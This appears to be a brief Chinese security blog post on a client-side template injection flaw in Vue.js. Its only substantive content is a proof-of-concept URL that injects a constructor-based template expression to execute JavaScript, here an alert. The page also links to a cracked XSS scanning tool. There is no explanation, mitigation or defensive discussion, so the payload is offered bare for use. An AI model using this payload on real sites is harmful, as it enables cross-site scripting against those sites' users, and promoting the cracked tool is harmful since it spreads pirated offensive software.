Vue.js_Javascript_library客戶端模板注入漏洞

2021年7月15日发布

340

# Vue.js Javascript library客戶端模板注入漏洞

==POC==

http://host/?name={{this.constructor.constructor('alert("foo")')()}}

文章版权归作者所有，未经允许请勿转载。

THE END

喜欢就支持一下吧

1xscan 3.6.4 破解版 xss扫描工具